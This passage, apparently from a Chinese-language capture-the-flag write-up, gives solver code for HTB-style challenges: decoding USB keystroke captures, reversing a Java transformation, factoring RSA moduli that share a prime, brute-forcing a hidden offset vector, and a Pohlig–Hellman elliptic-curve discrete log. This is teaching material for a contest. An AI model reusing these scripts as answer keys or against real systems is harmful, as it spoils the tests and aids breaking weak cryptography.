    '0x2c':[' ', ' '],
    '0x2d':['-', '_'],
    '0x2e':['=', '+'],
    '0x2f':['[', '{'],
    '0x30':[']', '}'],
    '0x32':['#','~'],
    '0x33':[';', ':'],
    '0x34':['\'', '"'],
    '0x36':[',', '<'],
    '0x37':['.', '>'],
    '0x38':['/', '?'],
    '0x39':['⇪','⇪'],
    '0x4f':[u'→',u'→'],
    '0x50':[u'←',u'←'],
    '0x51':[u'↓',u'↓'],
    '0x52':[u'↑',u'↑']
}

#
打开payload文件。
with open('./payload', 'r') as f:
    payload = f.readlines()

# 遍历每一行。
flag = []
for l in payload:
    l = l.strip()
    sh, ch = l.split(',')
    
    #  检查是否按下了Shift键,然后选择正确的字符。
    if sh == "1":
        ch = KEY_CODES[ch][1]
    else:
        ch = KEY_CODES[ch][0]

    flag.append(ch)

flag = "".join(flag)
print(flag)

REVERSE

加密

该挑战使用一个函数来设置代码的不同部分的执行权限,以及…

执行链是这样发生的:

准备函数的函数接受两个参数:

rcx,它获取一个地址,和 rdx,它获取一个大小。

然后有一个循环,为代码块调用一个解密函数:

之后,执行权限被设置并调用函数。

重要的比较有

标志应该大于0x16,它应该有HTB{,

然后是以下解密的函数

最后就会给我们flag

溯’流’而上

对于那些不是每天都使用JAVA的人来说,这个可执行文件可能会有点难度。我不使用它,所以有一个我应该注意到的点。

使用JDGui对程序进行反汇编,你会得到类似于:

在反编译中要注意的第一件事是两个错误:

.reduce("", (paramString1, paramString2) -> paramString2 + paramString2)) 应该是 paramString1 + paramString2,因为如果保留它这样,它只会获取最后一个字符两次,而你需要整个字符串。

而在最后几乎相同的字符串:

.reduce("", (paramString1, paramString2) -> paramString1 + paramString1 + "O") 将变成 paramString2 + "O" + paramString1

如果你想编译它,你将不得不进行一些更改以使其编译通过(至少在eclipse中):

package upstream;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;

public class upstream {
	  private static Integer hydrate(Character paramCharacter) {
		    return Integer.valueOf(paramCharacter.charValue() - 1);
		  }
	  private static Integer hydrate(String paramCharacter) {
		    System.out.println(paramCharacter.length());
		    return Integer.valueOf(Character.getNumericValue(paramCharacter.charAt(0)) - 1);
		  }
		  private static Integer moisten(int paramInt) {
			System.out.println(paramInt);  
			paramInt= Integer.valueOf((int)((paramInt % 2 == 0) ? paramInt : Math.pow(paramInt, 2.0D)));
			System.out.println("moisten");
			System.out.println(paramInt);
		    return paramInt;
		  }
		  private static Integer drench(Integer paramInteger) {
				System.out.println(paramInteger);  
				paramInteger= Integer.valueOf(paramInteger.intValue() << 1);
				System.out.println("drench");
			    System.out.println(paramInteger);
			    return paramInteger;

		  }
		  
		  private static Integer dilute(Integer paramInteger) {
			System.out.println(paramInteger);  
			paramInteger= Integer.valueOf(paramInteger.intValue() / 2 + paramInteger.intValue());
			System.out.println("dilute");
		    System.out.println(paramInteger);
		    return paramInteger;
		  }
		  
		  private static byte waterlog(Integer paramInteger) {
			//System.out.println(paramInteger);
		    paramInteger = Integer.valueOf((((paramInteger.intValue() + 2) * 4 % 87 ^ 0x3) == 17362) ? (paramInteger.intValue() * 2) : (paramInteger.intValue() / 2));
		    //System.out.println("waterlog");
		    //System.out.println(paramInteger);
		    return paramInteger.byteValue();
		  }
		  private static String hexconversion(Integer paramInteger) {
				System.out.println(paramInteger);
				String finals=Integer.toHexString(paramInteger);
				System.out.println("final");
				System.out.println(finals);
				return finals;
			  }
		  
	public static void main(String[] args) {
		String str = "FLAG";
	    Objects.requireNonNull(System.out);
	    
	    List<String> step1=((List)str.chars().mapToObj(paramInt -> Character.valueOf((char)paramInt)).collect(Collectors.toList())); 
	    System.out.println(step1);
	    Stream<Character> step1array = str.chars().mapToObj(c -> (char) c);
	    String step2=(step1array.peek(paramCharacter -> hydrate( paramCharacter.toString())).map(paramCharacter -> paramCharacter.toString())).reduce("", (paramString1, paramString2) -> paramString1 + paramString2);//.reduce("", (paramString1, paramString2) -> paramString2 + paramString2)                           );
	    
	    System.out.println("ceva");
	    
	    
	    System.out.println(step2);
	    
	    
	    List<Character> step3=(List)     step2.chars().mapToObj(paramInt -> Character.valueOf((char)paramInt)).collect(Collectors.toList()) ;
	    System.out.println(step3);
	    String step4 = ((String)step3.stream().map(paramCharacter -> paramCharacter.toString()).reduce(String::concat).get());
	    System.out.println(step4);
	    List<Integer> step5 = ((List) step4.chars().mapToObj(paramInt -> Integer.valueOf(paramInt)).collect(Collectors.toList())); 
	    System.out.println(step5);
	    String step6 = (String)step5.stream().map(paramInteger -> moisten(((Integer) paramInteger).intValue())).map(paramInteger -> Integer.valueOf(paramInteger.intValue())).map(upstream::drench).peek(upstream::waterlog).map(upstream::dilute).map(upstream::hexconversion).reduce("", (paramString1, paramString2) -> paramString2 +"O"+ paramString1 );
	    System.out.println(step6);
		// TODO Auto-generated method stub
	    

	}
	  @SuppressWarnings("unchecked")
	private static List<String> dunkTheFlag(String paramString) {
		    return Arrays.asList(new String[] { });
		  }
		  

}

我添加了一些打印语句来帮助我更好地理解它。

现在我们只需要拿到提供给我们的包含flag的文件,然后反转执行的操作:

hydrate->moisten->drench->dilute

如你运行程序所见,peek操作没有执行。

我对JAVA已经够了,我写了一个Python程序来反转这些操作并获得flag。你可以在每个操作之后加上打印语句,与eclipse的输出进行比较。此外,如果想进行比较,你应该放上第一个c,因为第二个是编码后的flag。

import math
c=[0x3b13,0x3183 ,0xe4 ,0xd2]
c=[0xb71b,0x12c,0x156,0x6e43,0xd8,0x69c3,0x5cd3,0x144,0xe4,0x6e43,0x37cb,0xf6,0x69c3,0x1e7b,0x156,0x3183,0x69c3,0x6c,0x8b3b,0xc0,0x1e7b,0x156,0xfc,0x50bb,0x69c3,0xc0,0x102,0x6e43,0xde,0xb14b,0xc6,0xfc,0xd8]

newc=[]
for i in c:
    newc.append(i*2/3)
c=newc
newc2=[]
for i in c:
    newc2.append(int(i)/2)
c=newc2
newc2=[]
for i in c:
    if i%2!=0:
        newc2.append(math.sqrt(i))
        print(math.sqrt(i))
    else:
        newc2.append(i)
flags=[chr(int(i)) for i in newc2[::-1]]
print(''.join(flags))

然后就能拿到flag

CRYPTO

从来都没有困难的RSA!

任务文件包括Python源代码文件RSAisEasy.py以及文本文件output.txt

RSAisEasy.py内容节选如下

from Crypto.Util.number import bytes_to_long, getPrime
from secrets import flag1, flag2
from os import urandom

flag1 = bytes_to_long(flag1)
flag2 = bytes_to_long(flag2)

p, q, z = [getPrime(512) for i in range(3)]

e = 0x10001

n1 = p * q
n2 = q * z

c1 = pow(flag1, e, n1)
c2 = pow(flag2, e, n2)

E = bytes_to_long(urandom(69))

print(f'n1: {n1}')
print(f'c1: {c1}')
print(f'c2: {c2}')
print(f'(n1 * E) + n2: {n1 * E + n2}')

output.txt给出了n1,c1,c2(n1 * E) + n2的数值

以上代码实现的是基本的RSA算法,pqz是随机生成的素数,e是0x10001,E则是一个随机数, 这些数字的关系如下:

n1 = p * q
n2 = q * z

t = (n1 * E) + n2 
  = p * q * E + q * z
  = q * (p * E + z)

由此,我们可以使用已知的n1t通过如下步骤求解pqz

q = n1和t的最大公约数
p = n1 // q

a = p * E + z = t // q
z = a % p

获得pqz之后, 就可以使用RSA算法对c1c2进行解密。

n1 = 101302608234750530215072272904674037076286246679691423280860345380727387460347553585319149306846617895151397345134725469568034944362725840889803514170441153452816738520513986621545456486260186057658467757935510362350710672577390455772286945685838373154626020209228183673388592030449624410459900543470481715269

c1 =  92506893588979548794790672542461288412902813248116064711808481112865246689691740816363092933206841082369015763989265012104504500670878633324061404374817814507356553697459987468562146726510492528932139036063681327547916073034377647100888763559498314765496171327071015998871821569774481702484239056959316014064

c2 = 46096854429474193473315622000700040188659289972305530955007054362815555622172000229584906225161285873027049199121215251038480738839915061587734141659589689176363962259066462128434796823277974789556411556028716349578708536050061871052948425521408788256153194537438422533790942307426802114531079426322801866673

t =  601613204734044874510382122719388369424704454445440856955212747733856646787417730534645761871794607755794569926160226856377491672497901427125762773794612714954548970049734347216746397532291215057264241745928752782099454036635249993278807842576939476615587990343335792606509594080976599605315657632227121700808996847129758656266941422227113386647519604149159248887809688029519252391934671647670787874483702292498358573950359909165677642135389614863992438265717898239252246163

import gmpy2
q = gmpy2.gcd(n1, t)

p = n1 // q

a = t // q

z = a % p

e = 0x10001

phi1 = (p - 1) * (q - 1)
d1 = pow(e, -1, phi1)
flag1 = pow(c1, d1, n1)

n2 = q * z
phi2 = (q - 1) * (z - 1)
d2 = pow(e, -1, phi2)
flag2 = pow(c2, d2, n2)

from Crypto.Util.number import bytes_to_long, long_to_bytes 
print("FLAG1 =", long_to_bytes(flag1))
print("FLAG2 =", long_to_bytes(flag2))

量子安全

任务文件包括一个source.sage源代码和enc.txt文本文件。

source.sage给出了加密的计算方法,而enc.txt则是加密的结果输出。

source.sage内容如下

from random import randint
from secrets import flag, r

pubkey = Matrix(ZZ, [
    [47, -77, -85],
    [-49, 78, 50],
    [57, -78, 99]
])

for c in flag:
    v = vector([ord(c), randint(0, 100), randint(0, 100)]) * pubkey + r
    print(v)

对明文中的各个字符,首先生成一个1行3列的向量,第一个数字是字符的ASCII码, 后两个则是0与100之间的随机数, 然后将该向量与一个3行3列的矩阵相乘,根据矩阵相乘的定义,其结果是一个1行3列的向量,该向量加上一个固定但未知的r后的 结果则输出到结果文件中。

解题的思路在于对于明文中所有的字符而言,r都是一样的,也就是说,我们对于每个字符位置,都必须要有一个字符和两个0与100之间的数来组成第一个向量,并通过定义的计算方法来得到相应的结果。

outputs = [
  [-981, 1395, -1668],
  [6934, -10059, 4270],
  [3871, -5475, 3976],
  [4462, -7368, -8954],
  [2794, -4413, -3461],
  [5175, -7518, 3201],
  [3102, -5051, -5457],
  [7255, -10884, -266],
  [5694, -8016, 6237],
  [4160, -6038, 2582],
  [4940, -7069, 3770],
  [3185, -5158, -4939],
  [7669, -11686, -2231],
  [5601, -9013, -7971],
  [5600, -8355, 575],
  [1739, -2838, -3037],
  [2572, -4120, -3788],
  [8055, -11985, 1137],
  [7088, -10247, 5141],
  [8384, -12679, -1381],
  [-785, 1095, -1841],
  [4250, -6762, -5242],
  [3716, -5364, 2126],
  [5673, -7968, 6741],
  [5877, -9190, -4803],
  [5639, -8865, -5356],
  [1980, -3230, -3366],
  [6183, -9334, -1002],
  [2575, -4068, -2828],
  [7521, -11374, -1137],
  [5639, -8551, -1501],
  [4194, -6039, 3213],
  [2072, -3025, 383],
  [2444, -3699, -502],
  [6313, -9653, -2447],
  [4502, -7090, -4435],
  [-421, 894, 2912],
  [4667, -7142, -2266],
  [4228, -6616, -3749],
  [6258, -9719, -4407],
  [6044, -9561, -6463],
  [266, -423, -637],
  [3849, -6223, -5988],
  [5809, -9021, -4115],
  [4794, -7128, 918],
  [6340, -9442, 892],
  [5322, -8614, -8334]
]  

PRINTABLE_CHARS = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';

def getCandidates(index, output, candidates, chars):
  results = set()
  
  for c in chars:
    cc = ord(c)
    for a1 in range(101):
      for a2 in range(101):
        #矩阵计算
        r1 = output[0] - (cc *  47) - (a1 * -49) - (a2 *  57)  
        r2 = output[1] - (cc * -77) - (a1 *  78) - (a2 * -78)  
        r3 = output[2] - (cc * -85) - (a1 *  50) - (a2 *  99)  
        
        r = str([r1, r2, r3])
        
        #r必须适用于所有的字符
        if (len(candidates) == 0) or (r in candidates):
          candidateMap[i][r] = c
          results.add(r)
  
  return results  


candidateMap = []

numberOfOutputs = len(outputs)

candidates = set()

for i in range(numberOfOutputs):
  candidateMap.append(dict())

  #flag前四个字符"HTB{"已知
  if (i == 0):
    chars = "H"
  elif (i == 1):
    chars = "T"
  elif (i == 2):
    chars = "B"
  elif (i == 3):
    chars = "{"
  else:
    chars = PRINTABLE_CHARS
  
  #穷举可能的组合
  candidates = getCandidates(i, outputs[i], candidates, chars)
  print("number of candidates =", len(candidates))
  
for r in candidates:
  print("r = ", r)
  
  flag = ""
  for i in range(numberOfOutputs):
      flag += (candidateMap[i][r])
  
  print("flag = ", flag)

消失的密钥

encrypt.py中的EC类定义了一个椭圆曲线, 其加密过程在于用该曲线上的一个点G通过n * G计算出Gn, 并将n作为AES密钥对明文加密, 因此对密文解密则需要获得n的值。

output.txt文本文件则给出了GGn(x坐标),CiphertextIV的数值

G = coord(14374457579818477622328740718059855487576640954098578940171165283141210916477, 97329024367170116249091206808639646539802948165666798870051500045258465236698)
Gn = 32293793010624418281951109498609822259728115103695057808533313831446479788050
Ciphertext: df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd
IV: baf9137b5bb8fa896ca84ce1a98b34e5

首先根据椭圆曲线的一般形式及其点相加的计算公式,获得该曲线的参数。

SageMath代码如下

p = 101177610013690114367644862496650410682060315507552683976670417670408764432851

a1 = 0
a2 = 417826948860567519876089769167830531934 // 2
a3 = 3045783791
a4 = 177776968102066079765540960971192211603

Gx = 14374457579818477622328740718059855487576640954098578940171165283141210916477
Gy = 97329024367170116249091206808639646539802948165666798870051500045258465236698
a6 = Gy^2 + a1 * Gx * Gy + a3 * Gy - (Gx^3 + a2 * Gx^2 + a4 * Gx)

a6 = a6 % p

EC = EllipticCurve(Zmod(p), [a1, a2, a3, a4, a6])

G = EC(Gx, Gy)

然后,我们可以通过给出的Gnx坐标得到Gn的y坐标。

Gnx = 32293793010624418281951109498609822259728115103695057808533313831446479788050

## get point from x
Gn = EC.lift_x(Gnx)

print("Gn =", Gn.xy())

同时也可以看到该曲线的order不是一个素数, 因此可以使用Pohlig–Hellman算法来计算GnG的离散对数, 也就是n

print("EC order=", ecOrder)
##EC order= 101177610013690114367644862496650410682371882435919767898009148385876141737891

F = factor(ecOrder)
#F = 3^2 * 59 * 14771 * 27733 * 620059697 * 2915987653003935133321 * 257255080924232005234239344602998871

对曲线order的素因数分解给出了7个素因数, 只有前5个值较小可以直接求离散对数, 而后则需要使用题目中给出的n的上限来逐个枚举可能的数值以找到n

primes = [9, 59, 14771, 27733, 620059697]
dlogs = []

product = 1

for fac in primes:
  t = ecOrder // fac
  dlog = discrete_log(t*Gn, t*G, operation="+")
  dlogs.append(dlog)
  print("factor: ", fac, ", Discrete Log: ", dlog) 
  product = product * fac
  
L = crt(dlogs, primes)
print("L =", L)

print("check L =", L * G == Gn)

print("product =", product)

n = L

while (n <= 38685626227668133590597631):
  if (n * G == Gn):
    print("Found n =", n)
    break
  else:
    n = n + product

得到n之后,套用AES解密方法即可得到Flag的明文

from Crypto.Cipher import AES
from hashlib import sha1

iv = bytes.fromhex("baf9137b5bb8fa896ca84ce1a98b34e5")
cipherText = bytes.fromhex("df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd")

key = sha1(str(n).encode('ascii')).digest()[0:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
plainText = cipher.decrypt(cipherText)
print ("plainText=", plainText)